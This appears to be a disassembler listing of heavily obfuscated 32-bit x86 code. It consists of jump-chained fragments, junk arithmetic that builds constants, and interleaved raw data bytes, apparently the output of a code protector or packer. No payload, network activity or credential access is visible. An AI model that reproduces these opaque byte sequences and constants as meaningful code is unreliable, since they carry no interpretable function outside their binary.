		dd 4EE92EECh, 66000094h, 5224048Bh, 0AFE95A54h,	33000076h
		dd 81E9241Ch, 5C000066h, 9C240CFEh, 0FFFD91E9h,	48B66FFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_5482F6
; ---------------------------------------------------------------------------

loc_546EF6:				; CODE XREF: sub_542C3C+9826j
		add	esp, 4
		and	eax, edi
		mov	edi, [esp+3Ch+var_3C]
		add	esp, 4
		jmp	loc_54FE26
; ---------------------------------------------------------------------------
		db 52h,	0B2h, 39h
		dd 8063C280h, 0DAF6A2EAh, 27FDE950h, 0EE310000h, 0D6F74E5Dh
		dd 5821F681h, 0F0018A80h, 625E9h
		db 0
; ---------------------------------------------------------------------------

loc_546F2D:				; CODE XREF: sub_542C3C+5D9Cj
		push	eax
		mov	eax, 4
		jmp	loc_54B684
; ---------------------------------------------------------------------------
aBimewbs@	db 'ë¬EWBé±@',0
		dw 0FF00h
a4Sm		db '4$éM(',0
		dw 5F00h
		dd 4C781h, 4E680000h, 8900001Ah, 0EDB9240Ch, 0C1748548h
		dd 0BA5205E9h, 70E33DA8h, 2E42E9h, 3EC58100h, 0D13ECC6Eh
		dd 0DE581EDh, 0E9341274h, 49FFh, 0FE95349h, 0B9000058h
		dd 794927B4h, 0D71BF181h, 0C101AE40h, 590EE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546F9A:				; CODE XREF: sub_542C3C+5C99j
		not	esi
		dec	esi
		not	esi
		jmp	loc_547480
; ---------------------------------------------------------------------------

loc_546FA4:				; CODE XREF: sub_542C3C+57E7j
		xor	edx, [esp+3Ch+var_3C]
		pop	esp
		push	esi
		jmp	loc_550C4B
; ---------------------------------------------------------------------------

loc_546FAE:				; CODE XREF: sub_542C3C+C0C8j
		pop	esp
		bt	[esp+38h+var_38], eax
		pushf
		jmp	loc_546C7A
; ---------------------------------------------------------------------------

loc_546FB9:				; CODE XREF: sub_542C3C+E4C8j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_54D573
; ---------------------------------------------------------------------------
aTspn		db 'TépN',0
		dw 0C100h
		dd 8E3508E8h, 356B2B2Bh, 6B02F39Ch, 2958C689h, 1C875EF3h
		dd 1C895C24h, 0E9E38924h, 9DD9h, 1DB45066h, 0E7ED80h, 5F95E9E5h
		dd 15F0000h, 1C75FF9h, 1C94541Fh, 541E2981h, 0C8B1C94h
		dd 9F36E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547016:				; CODE XREF: sub_542C3C+6C17j
		xor	esi, ebx
		pop	ebx
		mov	ecx, esi
		pop	esi
		dec	ecx
		and	ecx, 702C0A80h
		xchg	ebp, ecx
		inc	ebp
		xchg	ebp, ecx
		inc	ecx
		jmp	loc_54B300
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 64F32934h, 0BD55D301h, 4996B0Ch, 37A6E9h
		db 0
; ---------------------------------------------------------------------------

loc_547041:				; CODE XREF: sub_542C3C+EBE5j
		sub	esi, 0E262028h
		jmp	loc_5522FB
; ---------------------------------------------------------------------------
		dd 8106E2C1h, 0D5A004C2h, 8EAAE9FAh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54705A:				; CODE XREF: sub_542C3C+F6B2j
		push	[esp+34h+var_34]
		pop	edx
		jmp	loc_54ACCC
; ---------------------------------------------------------------------------
		db 41h
		dd 75C1C181h, 0CA017F7Ch, 24148759h, 8966645Ch,	7661E902h
		dd 15E0000h, 254568C3h,	4890000h, 6BBA5224h, 0B837233Ah
		dd 5F2FB408h, 0E95AD029h, 5636h, 0B2525366h, 87C28026h
		dd 0C0FFC280h, 0F28007E2h, 6EAC0A4h, 8099B353h,	0EA8045EBh
		dd 80DA0049h, 885B49C2h, 0FD885AD7h, 0E95B66h, 5C00003Dh
		dd 0F9107A05h, 287DE900h, 77FF0000h, 58669D1Ch,	24041166h
		dd 0FB98E99Ch, 3C89FFFFh, 2BF24h, 0FA010000h, 2414335Fh
		dd 33241431h, 665C2414h, 0B7E9E1F7h, 8900005Ch,	4BA52E7h
		dd 1000000h, 0C7835AD7h, 74FF5704h, 8F5F0424h, 248B2404h
		dd 0BDB85024h, 2977B260h, 0EB8158C3h, 11EA0E36h, 0BF57C301h
		dd 11EA0E36h, 685FFB01h, 48Fh, 7DF3E9h,	81CB0100h, 9C7941EBh
		dd 0BE565904h, 4, 348BF301h, 1A51E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547156:				; CODE XREF: sub_542C3C+4D61j
		sub	esp, 4
		mov	[esp+38h+var_38], ecx
		mov	ecx, 6C93327Eh
		push	ebx
		mov	ebx, 0A5FFE7E9h
		add	ecx, ebx
		pop	ebx
		add	edi, ecx
		pop	ecx
		not	edi
		xor	edi, 842BB731h
		add	ecx, edi
		pop	edi
		add	ecx, 4
		jmp	loc_547661
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9241431h, 0FFFFFAEEh, 24048B66h, 552768h, 242C8900h
		dd 49C8E9h, 0FAD8E900h,	77FFFFFFh, 59669D1Ch, 9C2414D2h
		dd 0FFFAC9E9h, 81E589FFh, 4C5h,	91E95000h
		db 9Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5471BF:				; CODE XREF: sub_542C3C+B113j
		pop	ebx
		add	ebx, 4
		jmp	loc_54F4E5
; ---------------------------------------------------------------------------
		db 81h
		dd 0C000EEEFh, 0D1BD557Ah, 9676F0Fh, 242C8BEFh,	5E08950h
		dd 4, 405h, 24043300h, 0E9240431h, 598Dh, 240C8B66h, 4EC81h
		dd 0CE90000h, 28000067h, 66CD2CC8h, 68665159h, 89660355h
		dd 6B3241Ch, 8B66D988h,	0C481241Ch, 2, 0E180D1F6h, 53526642h
		dd 4DB264B3h, 292EE9h, 240C8B00h, 0E904C483h, 622Eh, 31F2FBDh
		dd 4758E963h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547246:				; CODE XREF: sub_542C3C+B680j
		mov	ecx, 53F44347h
		jmp	loc_5507DE
; ---------------------------------------------------------------------------
		dd 305BDA30h, 0E8285AD5h, 592434FFh, 7F8AE9h, 0C2685000h
		dd 8900002Eh, 4832424h,	5580424h, 4, 405h, 2A01E900h, 0F7810000h
		dd 63F61FBh, 9E43E9h, 82E98100h, 8176E72Eh, 0F55DE2F1h
		dd 0B3BDE953h, 0C2010000h, 6471BF57h, 0C2810A68h, 5EC955B0h
		dd 0EA81FA29h, 5EC955B0h, 0F9C4E95Fh, 0BB53FFFFh, 4, 0E95BDA01h
		dd 0AC04h, 57242489h, 4BFh, 247C0100h, 74E95F04h, 1FFFFFCh
		dd 5A082454h, 57240C8Bh, 6015E9h, 0E0C38100h, 5E44604Eh
		dd 20BB5351h, 0E9000000h, 4D39h, 7ED7E954h, 0D0000000h
		dd 0F32C1604h, 8B667B2Ch, 0BFE92414h, 0BA000042h, 4F7D2F3Eh
		dd 2414F752h, 323BE95Ah, 0A7050000h, 29D29BC9h,	72F9E9C7h
		dd 50520000h, 0A11E88B8h, 35E8D122h, 70867143h,	13425B05h
		dd 43C5E9CEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547342:				; CODE XREF: sub_542C3C+BAA7j
		add	esp, 4
		jmp	loc_547AA9
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 81E38953h, 4C3h, 6FE3E900h, 0B9510000h, 3CAF4DB6h, 8159CA01h
		dd 714297CAh, 0D5EA8161h, 1F9F342h, 0DFE95AD1h,	5Bh, 5A4904F0h
		dd 0D1268h, 240C8900h, 4A0868h,	24148900h, 0E26874B6h
		dd 89000029h, 0CDB5240Ch, 0AA1EE9h, 0B60F6600h,	9C5166C8h
		dd 0A3B1E9h, 64C68100h,	1F7EECEh, 0A56CE9F2h, 0D0280000h
		dd 37E7E9h
		db 0
; ---------------------------------------------------------------------------

loc_5473C1:				; CODE XREF: sub_542C3C+ED55j
		pop	ebp
		add	eax, 4
		jmp	loc_54F88F
; ---------------------------------------------------------------------------

loc_5473CA:				; CODE XREF: sub_542C3C+CC4Ej
		xor	ebp, [esp+24h+var_24]
		pop	esp
		movzx	ecx, ax
		push	290Bh
		jmp	loc_54C676
; ---------------------------------------------------------------------------

loc_5473DB:				; CODE XREF: sub_542C3C+661Ej
		pop	edx
		add	esp, 4
		shr	ebp, 6
		push	eax
		mov	eax, 0F2804DDh
		neg	eax
		xor	eax, 0F2BBFCBBh
		jmp	loc_549FBA
; ---------------------------------------------------------------------------
		dd 31241433h, 14332414h, 0C2685C24h, 0E900001Fh, 97Fh
		dd 20E0E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54740E:				; CODE XREF: sub_542C3C+AD9Ej
		xchg	esi, [esp+20h+var_20]
		mov	esp, [esp+20h+var_20]
		shr	ecx, 7
		push	2F81h
		mov	[esp+24h+var_24], edx
		jmp	loc_54C2FD
; ---------------------------------------------------------------------------
		dd 0E9D8015Eh, 55A4h, 8951E9F7h, 4EC83E1h, 51241489h, 2D0BF3B9h
		dd 4CA7E94Bh, 0EE810000h, 447F59C6h, 367EEE81h,	0E681797Ah
		dd 53186F2Ch, 6A95F681h, 0F0293C8Eh, 242C8B5Eh,	5704C483h
		dd 19287ABFh, 49BB5337h, 810BFD24h, 0D655BCC7h,	9471E974h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54747A:				; CODE XREF: sub_542C3C+F2EBj
		push	esp
		jmp	loc_54F82E
; ---------------------------------------------------------------------------

loc_547480:				; CODE XREF: sub_542C3C+4363j
		sub	esi, 0A59AC07Eh
		and	edi, esi
		pop	esi
		add	edi, 0D6120324h
		mov	edx, edi
		pop	edi
		mov	edi, 36520D45h
		jmp	loc_549882
; ---------------------------------------------------------------------------
aYQRSjk		db 'Y)ÚQ¹¾`R!éjŠ',0
		align 2
		dw 0C31h
aScv		db '$éCV',0
		align 2
		dw 0C8Bh
		dd 4C48324h, 810AE9h, 0E9DA8900h, 652Ch, 7AD068h, 24148900h
		dd 0FFF7A9E9h, 89515EFFh, 46852E1h, 5A000000h, 0BCE9D101h
		dd 81000039h, 0DD7217CAh, 33F28153h, 153DD72h, 0EC835AD5h
		dd 9950E904h, 0E9520000h, 0B5C5h, 6E94E959h, 0D2F60000h
		dd 0C0D6CA80h, 0EA8006EAh, 5AD08851h, 403E8C0h,	58C208CBh
		dd 0E975EA80h, 47E1h, 0E9243489h, 36FFh
; ---------------------------------------------------------------------------

loc_54752C:				; CODE XREF: sub_542C3C+F2B5j
		push	[esp+34h+var_34]
		jmp	loc_551DEF
; ---------------------------------------------------------------------------
		dd 240C8B66h, 397E68h, 243C8900h, 8904EC83h, 4812424h
		dd 424h, 77B7E900h, 348B0000h, 4C3DE924h, 0EC810000h, 4
		dd 88241C89h, 8BFD88C7h, 0C481241Ch, 4,	57566850h, 1C890000h
		dd 81EF8824h, 4ECh, 240C8900h, 24F7E9h,	45B6600h, 2CE800E4h
		dd 59D304E4h, 80D1EB80h, 0C328D4EBh, 55D4C380h,	0E904EC83h
		dd 0A499h, 7B0A68h, 243C8900h, 7811BA52h, 0AB683F0Fh, 89000004h
		dd 3C8B2414h, 0C31E924h, 0E3C10000h, 0D8EB8102h, 316BF375h
		dd 89E95BD8h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5475D7:				; CODE XREF: sub_542C3C+9F17j
		push	cx
		mov	ch, al
		dec	ch
		mov	al, ch
		pop	cx
		not	al
		add	al, 0C0h
		sub	bh, al
		pop	eax
		add	al, 0A4h
		add	al, bh
		sub	al, 0A4h
		pop	ebx
		jmp	loc_54E56A
; ---------------------------------------------------------------------------

loc_5475F4:				; CODE XREF: sub_542C3C+4EAAj
		add	esi, 4
		push	edi
		mov	edi, 2B95099Ah
		add	edi, 0E686DB4h
		inc	edi
		shl	edi, 1
		push	0
		sub	[esp+38h+var_38], edi
		jmp	loc_55181A
; ---------------------------------------------------------------------------
		dw 6866h
		dd 89666FB6h, 57E92404h, 29FFFFF6h, 0F1015EF1h,	2802C181h
		dd 0BEE95E7Fh, 81000058h, 0C86B6FEAh, 0CCEA8165h, 5B23180Bh
		dd 5C241487h, 0E9240489h, 8999h, 1D57C581h, 0FD013E54h
		dd 0A956E9h, 243C8B00h,	0B20CE9h
		db 0
; ---------------------------------------------------------------------------

loc_547661:				; CODE XREF: sub_542C3C+4542j
		xor	ecx, [esp+30h+var_30]
		xor	[esp+30h+var_30], ecx
		jmp	loc_5498C2
; ---------------------------------------------------------------------------
aYvsf		db 'YVéä{',0
		dw 500h
		dd 41BA29F6h, 5724148Bh, 0FFFA7EE9h, 7764BFFFh,	0A6E92D17h
		dd 8B000042h, 81532424h, 4ECh, 24148900h, 5AA468h, 241C8900h
		dd 0DA88C388h, 1E6BE9h,	2EE95C00h, 0C100000Ch, 0EE8105EEh
		dd 6E4416DFh, 3E45C681h, 0F189867Ch, 8124348Bh,	4C4h, 63BC2D00h
		dd 0DBE9159Fh, 5E000075h, 0AB32E9h, 7ECF8100h, 8171446Bh
		dd 0EDA2C3F7h, 0A191E9CFh, 4BA0000h, 1000000h, 6FBFE9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5476F6:				; CODE XREF: sub_542C3C+9C11j
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 4
		sub	eax, ebp
		pop	ebp
		xchg	eax, [esp+30h+var_30]
		pop	esp
		mov	[esp+2Ch+var_2C], esi
		mov	esi, 47FF556Eh
		jmp	loc_54971D
; ---------------------------------------------------------------------------

loc_547717:				; CODE XREF: sub_542C3C+C291j
		pop	esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+28h+var_28]
		pop	esp
		jmp	loc_54BFF5
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 0BF575E00h, 512D2793h,	278FEF81h, 0FE01512Dh
		dd 4B9515Fh, 1000000h, 0DDE959CEh
		db 90h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54774F:				; CODE XREF: sub_542C3C+549Ej
		mov	edx, ebp
		pop	ebp
		and	eax, edx
		mov	edx, [esp+20h+var_20]
		jmp	loc_5483D3
; ---------------------------------------------------------------------------
		dd 8904EC83h, 5954240Ch, 4C181h, 0C1830000h, 240C8704h
		dd 72DE95Ch, 1C890000h,	7A43BB24h, 0F381171Eh, 16750732h
		dd 0F743DBF7h, 95C381D3h, 81FE9482h, 0BA0EB6E9h, 81D9017Ch
		dd 0BA0EB6C1h, 89535B7Ch, 4C381E3h, 81000000h, 4EBh, 241C8700h
		dd 243C895Ch, 2BFh, 5FF90100h, 31240C33h, 0C33240Ch, 0FEC1E924h
		dd 0EFC1FFFFh, 3EFC102h, 3B57F781h, 0FA0101C1h,	2E18E95Fh
		dd 34FF0000h, 2FBEE924h, 54880000h, 77E90187h, 68000007h
		dd 78F369CEh, 1B77E9h
		db 0
; ---------------------------------------------------------------------------

loc_5477F9:				; CODE XREF: sub_542C3C+5EB8j
		push	esp
		mov	ebx, [esp+24h+var_24]
		jmp	loc_547CF4
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24148B24h, 4C481h, 81510000h, 4ECh, 24248900h, 4240483h
		dd 4C18159h, 0E9000000h, 1B61h,	0BFE9DE29h, 31000036h
		dd 0A345E9F9h, 575E0000h, 0C781E789h, 4, 4BD55h, 0EF010000h
		dd 243C875Dh, 4C6815Ch,	0E9000000h, 5AD2h, 2474FF51h, 48F5904h
		dd 24248B24h, 4C481h, 34FF0000h, 2434FF24h, 0CBE95158h
		dd 8700000Eh, 0F5C2434h, 98E9C8BEh, 8100009Eh, 4C6h, 2EE8100h
		dd 87000000h, 0BFE92434h, 0E90000A1h, 0FFFFF3DEh, 42474FFh
		dd 24048F5Ah, 6624248Bh, 6866E9F7h, 89664DC0h, 50662414h
		dd 0F3C0E99Ch, 0BBE9FFFFh, 1FFFFF3h, 56382DD8h,	52571086h
		dd 2D1BFEBAh, 5AD7894Ch, 0D7F74F47h, 0E906EFC1h, 6501h
; ---------------------------------------------------------------------------

loc_5478DC:				; CODE XREF: sub_542C3C+4E83j
		mov	edx, esi
		jmp	loc_552B5F
; ---------------------------------------------------------------------------

loc_5478E3:				; CODE XREF: sub_542C3C+B191j
		pop	esi
		push	3C66h
		jmp	loc_54D40C
; ---------------------------------------------------------------------------
		dw 15Fh
aBszxzSu6	db 'Ñé‡x§>éã6',0
		align 4
		dd 2C5835Fh, 2474FF55h,	5EEE904h, 48F0000h, 4215C24h, 69E99C24h
		dd 6600007Dh, 0A1BFE952h, 0EB000000h, 8B75C380h, 0C483240Ch
		dd 80C30004h, 0EC81BCEBh, 4, 0B3DEE9h, 4C48300h, 5652EB81h
		dd 0C3294A4Bh, 5652C381h, 0BD554A4Bh, 7CF61E3h,	0E95DEB01h
		dd 9A2Ah, 66C6EC80h, 28000068h,	248A2424h, 7D1BE924h, 0D2F70000h
		dd 9E0FE9h
		db 0
; ---------------------------------------------------------------------------

loc_547971:				; CODE XREF: sub_542C3C+D830j
		add	esp, 4
		or	eax, eax
		jz	loc_5512A2
		push	eax
		mov	eax, 1Ch
		add	eax, edi
		push	dword ptr [eax]
		mov	ecx, [esp+28h+var_28]
		sub	esp, 4
		mov	[esp+2Ch+var_2C], ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 69412E63h
		jmp	loc_547156
; ---------------------------------------------------------------------------
		dw 36B3h
		dd 5269CB80h, 0D3286DB2h, 5BDD205Ah, 0FFF554E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5479B5:				; CODE XREF: sub_542C3C+A43Ej
		mov	edx, ebx
		pop	ebx
		shl	edx, 4
		xor	edx, 70B54D49h
		shl	edx, 1
		neg	edx
		jmp	loc_54AF2F
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0F2A8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5479D2:				; CODE XREF: sub_542C3C+FE5Fj
		shr	esi, 3
		xor	esi, 128ACB2h
		and	eax, esi
		mov	esi, [esp+2Ch+var_2C]
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		push	edi
		mov	edi, 5CB524E2h
		xor	edi, 3DDC1D3Ah
		xor	edi, 269048F5h
		inc	edi
		add	edi, 24051E05h
		xor	edi, 6BFE8F37h
		add	esi, edi
		jmp	loc_546D42
; ---------------------------------------------------------------------------
		dw 895Dh
		dd 24048BC2h, 4C481h, 0E2C10000h, 7667E903h, 0BE560000h
		dd 23C13791h, 515EF089h, 0CD659FB9h, 66E98101h,	0C1180D64h
		dd 0BA5207E9h, 5602CA1h, 0A04E9h
		db 0
; ---------------------------------------------------------------------------

loc_547A49:				; CODE XREF: sub_542C3C+9907j
		sub	esp, 4
		mov	[esp+38h+var_38], ecx
		mov	cl, dl
		mov	bl, cl
		mov	ecx, [esp+38h+var_38]
		jmp	loc_54E281
; ---------------------------------------------------------------------------

loc_547A5B:				; CODE XREF: sub_542C3C+E0FFj
		mov	eax, 5A18693Bh
		xor	edi, eax
		pop	eax
		mov	esi, edi
		pop	edi
		jmp	loc_54AD2C
; ---------------------------------------------------------------------------
		db 81h
		dd 0EE71EEC1h, 0ECC1815Fh, 81A932E3h, 8307F8E9h, 77F18115h
		dd 311A6C58h, 240C8BCDh, 777CE9h, 2424D300h, 0F1E4E99Ch
		dd 0F380FFFFh, 5BD9280Dh, 0C8BC830h, 4C48324h, 0FFFE6EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_547AA9:				; CODE XREF: sub_542C3C+470Cj
		or	eax, eax
		jnz	loc_547B57
		sub	esp, 4
		mov	[esp+2Ch+var_2C], eax
		mov	eax, 1
		push	esi
		mov	esi, eax
		jmp	loc_5478DC
; ---------------------------------------------------------------------------
		dd 4C481h, 0BF570000h, 0AFC652Dh, 0E95FFA01h, 48ECh, 53AC281h
		dd 0E958730Ah, 49C5h
; ---------------------------------------------------------------------------

loc_547AE4:				; CODE XREF: sub_542C3C+86F6j
		mov	esi, esp
		jmp	loc_5475F4
; ---------------------------------------------------------------------------
		db 58h
		dd 1B951h, 0C8010000h, 42E95559h, 2D000069h, 1CD87B6Ch
		dd 83241C8Bh, 426804C4h, 8900002Eh, 4068242Ch, 8B754075h
		dd 0C483242Ch, 0A2BA5204h, 0E95E0765h, 0FFFFFE46h, 8B241433h
		dd 24D22424h, 47E99C24h, 0BAFFFFF1h, 43CD92C6h,	0B7E9D731h
		dd 0B8000088h, 4, 13B5E9h, 79BF5700h, 0E909175Fh, 4CBEh
; ---------------------------------------------------------------------------

loc_547B54:				; CODE XREF: sub_542C3C+5777j
		mov	esp, [esp+30h+var_30]

loc_547B57:				; CODE XREF: sub_542C3C+4E6Fj
					; sub_542C3C:loc_54E60Dj
		push	ecx
		push	esi
		jmp	loc_54D43B
; ---------------------------------------------------------------------------
		dw 7CB8h
		dd 0C105CB05h, 0B72506E8h, 0F72AA523h, 68D0h, 4290000h
		dd 5485824h, 0FFFADFEFh, 48BC301h, 5D545524h, 4C581h, 0C5810000h
		dd 4, 8B242C87h, 0C3812424h, 2,	7B6968h, 241C8900h, 42474FFh
		dd 6833E9h
		db 0
; ---------------------------------------------------------------------------

loc_547BAD:				; CODE XREF: sub_542C3C+9D77j
		pop	eax
		jmp	loc_550952
; ---------------------------------------------------------------------------

loc_547BB3:				; CODE XREF: sub_542C3C+A505j
		and	edi, 29AE0B62h
		jmp	loc_552985
; ---------------------------------------------------------------------------

loc_547BBE:				; CODE XREF: sub_542C3C+C941j
		pop	esp
		mov	[esp+30h+var_30], ebx
		mov	ebx, 10A40A2h
		mov	edi, 10A40A3h
		jmp	loc_54A487
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 88D78853h, 90685BFDh, 8900007Bh, 0EC882404h,	5958E788h
		dd 3BE93888h, 310000AFh, 9CBAE9C3h, 0D9680000h,	0E900004Ah
		dd 45Ch
; ---------------------------------------------------------------------------

loc_547C00:				; CODE XREF: sub_542C3C+53C0j
		xor	ebx, ecx
		pop	ecx
		pop	edi
		sub	[edi+24h], ebx
		push	[esp+28h+var_28]
		pop	ebx
		jmp	loc_54A30E
; ---------------------------------------------------------------------------
		dd 8EDC15Eh, 1015E9h
		db 0
; ---------------------------------------------------------------------------

loc_547C19:				; CODE XREF: sub_542C3C+7288j
		mov	edx, 7561294Bh
		dec	edx
		not	edx
		add	edx, 2FD30A6Ah
		sub	edx, 0BA71E11Bh
		sub	edi, edx
		mov	edx, [esp+28h+var_28]
		add	esp, 4
		xchg	edi, [esp+24h+var_24]
		mov	esp, [esp+24h+var_24]
		mov	[esp+24h+var_24], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 26B75B20h
		jmp	loc_549409
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 1C8B0424h, 4C48324h,	656FE9h, 5C0400h, 0E95266D8h, 228h
		dd 240CFF57h, 5384E9h, 4C48300h, 0E9240C87h, 0FFFFFA2Dh
		dd 1D66EF81h, 0DF014D56h, 1D66C781h, 505B4D56h,	0D4CE9h
		dd 6EEC100h, 6589C681h,	0F0012C83h, 243C8B5Eh, 4C481h
		dd 0F8680000h, 0E9000005h, 2EFEh
; ---------------------------------------------------------------------------

loc_547CB0:				; CODE XREF: sub_542C3C+D3E4j
		push	ebp
		mov	ebp, 45E651F8h
		mov	eax, 7B245F03h
		shl	eax, 3
		add	eax, 692687Fh
		neg	eax
		xor	eax, 30C61AD3h
		shl	eax, 1
		jmp	loc_54D415
; ---------------------------------------------------------------------------
		db 21h,	0EBh, 5Dh
		dd 1035E9h
		db 0
; ---------------------------------------------------------------------------

loc_547CD9:				; CODE XREF: sub_542C3C+6848j
		pop	ecx
		sub	esp, 4
		mov	[esp+2Ch+var_2C], ebp
		neg	[esp+2Ch+var_2C]
		pop	ebp
		jmp	loc_55021D
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 4
		dd 0E9000000h, 8687h
; ---------------------------------------------------------------------------

loc_547CF4:				; CODE XREF: sub_542C3C+4BC1j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+28h+var_28]
		jmp	loc_54F2A9
; ---------------------------------------------------------------------------
		dd 815A5452h, 4C2h, 34C4E900h, 665C0000h, 9C2424D3h, 4D08E9h
		dd 4EEC000h, 8104EEC0h,	4ECh, 24048900h, 0E9E38953h, 61F6h
		dd 7D0EBE56h, 74314A7Ch, 5EE90424h, 890000B2h, 0CE882414h
		dd 4282E9h, 9E95800h, 81000079h, 252B38EAh, 81EAD11Dh
		dd 8A6F13EAh, 1ECA816Dh, 8105226Bh, 4D16BCF2h, 5AD589BAh
		dd 0E9EDD145h, 0A868h, 5C240C87h, 61E9F1F7h, 89000024h
		dd 0E789243Ch, 30C3B951h, 12E90192h
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547D97:				; CODE XREF: sub_542C3C+58E0j
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		jmp	loc_54FD24
; ---------------------------------------------------------------------------
		db 4Dh,	45h, 0F7h
		dd 7E5C1D5h, 96EBED81h,	0E8017B94h, 44BE2D5Dh, 0BA521E40h
		dd 0F380688h, 2941572Dh, 5D0011Dh, 1D294157h, 89575F5Ah
		dd 4C781E7h, 83000000h,	0EAE904EFh, 3100009Eh, 3C33243Ch
		dd 24248B24h, 2404D366h, 0EE88E99Ch, 0EB80FFFFh, 0C0DBF624h
		dd 97E905E3h, 89FFFFFCh, 2B9240Ch, 0E9000000h, 33A4h, 2C91C681h
		dd 34FF063Dh, 0C4835A24h, 11F68104h, 1BD8E4Bh, 73E95EF2h
		dd 0FFFFFFF4h, 48B2434h, 4C48124h, 83000000h, 348904ECh
		dd 81E68924h, 4C6h, 7C146800h, 6EE90000h, 5D00008Eh, 228DBE56h
		dd 0D6F73686h, 17E9D6F7h, 6600007Eh, 8166E1D1h,	664F91E1h
		dd 8166D1F7h, 6663A8E9h, 5DE9CE29h, 8900008Bh, 4BE56E1h
		dd 1000000h, 0BA525EF1h, 2, 0AB685257h,	0E979F926h, 7025h
		dd 93E95CB2h, 89000009h, 9202E9CEh, 88E90000h, 1000014h
		dd 0F43BE9F3h, 77FFFFFFh, 59669D1Ch, 9C241CD3h,	0FFEDC1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_547EB9:				; CODE XREF: sub_542C3C+FBA1j
		xchg	eax, [esp+28h+var_28]
		pop	esp
		mov	[esp+24h+var_24], esp
		add	[esp+24h+var_24], 4
		mov	ecx, [esp+24h+var_24]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_54EECA
; ---------------------------------------------------------------------------
		dd 4C281h, 0C2830000h, 24148704h, 0FFF1DEE9h, 2EBF57FFh
		dd 4F4A8B2Ch, 0E907EFC1h, 890Dh, 24048F5Dh, 31E3E9h, 2434FF00h
		dd 0FFF328E9h, 240489FFh, 73426856h, 2C890000h,	55E8BD24h
		dd 0EE892242h, 81242C8Bh, 4C4h,	24742900h, 34FF5E04h, 0C4815824h
		dd 4, 9693E957h, 0EC830000h, 241C8904h,	32E3E9h, 5AD32900h
		dd 34FFD831h, 268FE924h, 81590000h, 4C1h, 7456800h, 1C890000h
		dd 68A4E924h, 148B0000h, 4C48324h, 52240C8Bh, 0C281E289h
		dd 4, 0FFFD6CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_547F7D:				; CODE XREF: sub_542C3C+5A42j
		pop	eax
		sub	[esp+24h+var_20], eax
		pop	eax
		pop	dword ptr [ecx]
		add	dword ptr [ecx], 39D05288h
		push	[esp+1Ch+var_1C]
		pop	ecx
		sub	esp, 4
		mov	[esp+20h+var_20], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_548A49
; ---------------------------------------------------------------------------
		db 56h,	54h, 5Eh
		dd 4B951h, 0CE010000h, 56240C8Bh, 0C5E9E689h, 8B00004Dh
		dd 89662424h, 50662414h, 0ECB0E99Ch, 8B66FFFFh,	3B682404h
		dd 8900001Ah, 5954240Ch, 4C181h, 76680000h, 0E9000068h
		dd 19F2h
; ---------------------------------------------------------------------------

loc_547FE8:				; CODE XREF: sub_542C3C+81E1j
		push	ecx
		jmp	loc_54F8D5
; ---------------------------------------------------------------------------
		dw 315Fh
		dd 69DBE9FEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547FF6:				; CODE XREF: sub_542C3C+89AEj
		sub	ecx, 0F4D0C8DCh
		jmp	loc_547C00
; ---------------------------------------------------------------------------

loc_548001:				; CODE XREF: sub_542C3C+7496j
		sub	eax, 4
		jmp	loc_54EF89
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89502404h, 405E0h, 0C5E90000h, 51000064h, 0F81181B9h
		dd 8E9C16Eh, 2E1C141h, 5007E1C1h, 1D78BFB8h, 4E1AE976h
		dd 0B3680000h, 89000005h, 4BB241Ch, 53000000h, 899AE9h
		dd 0EC2CE900h, 0EB81FFFFh, 0C181C06h, 0E95BD901h, 85FCh
		dd 0BE243489h, 73F71D08h, 5204E6C1h, 836EEDBAh,	0CAE28129h
		dd 426DAC69h, 0EA81DAF7h, 53240D7Eh, 435AC281h,	0EA810E88h
		dd 90AA6BEAh, 0E95AD631h, 0A76Ch, 8E7BC9BEh, 0F313E910h
		dd 0E95AFFFFh, 3602h, 0E34AE981h, 79E92401h, 3100005Fh
		dd 4DBE5AD1h, 50B22D10h, 73B0E9h, 1C77FF00h, 0D259669Dh
		dd 0E99C241Ch, 0FFFFEBB2h
; ---------------------------------------------------------------------------

loc_5480C8:				; CODE XREF: sub_542C3C+8A34j
		push	ebx
		mov	ebx, 75DEDA03h
		add	eax, ebx
		pop	ebx
		or	ebp, eax
